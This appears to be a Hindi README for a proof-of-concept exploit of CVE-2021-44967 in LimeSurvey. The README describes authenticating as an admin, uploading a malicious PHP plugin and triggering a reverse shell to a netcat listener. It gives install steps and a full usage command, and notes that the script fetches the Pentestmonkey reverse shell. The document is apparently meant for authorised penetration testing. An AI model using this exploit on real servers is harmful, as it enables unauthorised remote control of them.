CVE-2021-44967: LimeSurvey प्रमाणित RCE

CVE-2021-44967 के लिए प्रूफ ऑफ कॉन्सेप्ट। स्क्रिप्ट LimeSurvey में प्रमाणित करती है, एक PHP प्लगइन अपलोड और सक्रिय करती है, और एक रिवर्स शेल ट्रिगर करती है।

इसका उपयोग केवल उन सिस्टमों के विरुद्ध करें जिनके आप स्वामी हैं या जिनका परीक्षण करने के लिए आप अधिकृत हैं।

आवश्यकताएँ

• Python 3
• beautifulsoup4, netifaces, और requests
• PATH में उपलब्ध nc
• प्लगइन इंस्टॉल करने की अनुमति वाले LimeSurvey व्यवस्थापक क्रेडेंशियल्स

एक पृथक वातावरण बनाएँ और Python पैकेज इंस्टॉल करें:

python3 -m venv .venv
source .venv/bin/activate
python -m pip install beautifulsoup4 netifaces requests

उपयोग

python3 limesurvey_rce.py \
  --url https://target.example \
  --username admin \
  --password 'password' \
  --listen-ip tun0 \
  --listen-port 4444

--listen-ip एक IPv4 पता या इंटरफ़ेस नाम स्वीकार करता है और डिफ़ॉल्ट रूप से tun0 होता है। यदि --file छोड़ दिया जाए, तो स्क्रिप्ट Pentestmonkey PHP रिवर्स शेल डाउनलोड करती है और इसे लिसनर पते के साथ कॉन्फ़िगर करती है। इसके बजाय स्थानीय PHP पेलोड देने के लिए --file payload.php पास करें।

प्रॉक्सी और कस्टम User-Agent सेटिंग्स सहित सभी विकल्पों के लिए python3 limesurvey_rce.py --help चलाएँ।

यह एक्सप्लॉइट LimeSurvey Community Edition 6.6.4 के विरुद्ध परीक्षण किया गया था। CVE रिकॉर्ड LimeSurvey 5.2.4 में इस समस्या का वर्णन करता है।

संदर्भ

• NVD: CVE-2021-44967
• मूल LimeSurvey RCE प्रूफ ऑफ कॉन्सेप्ट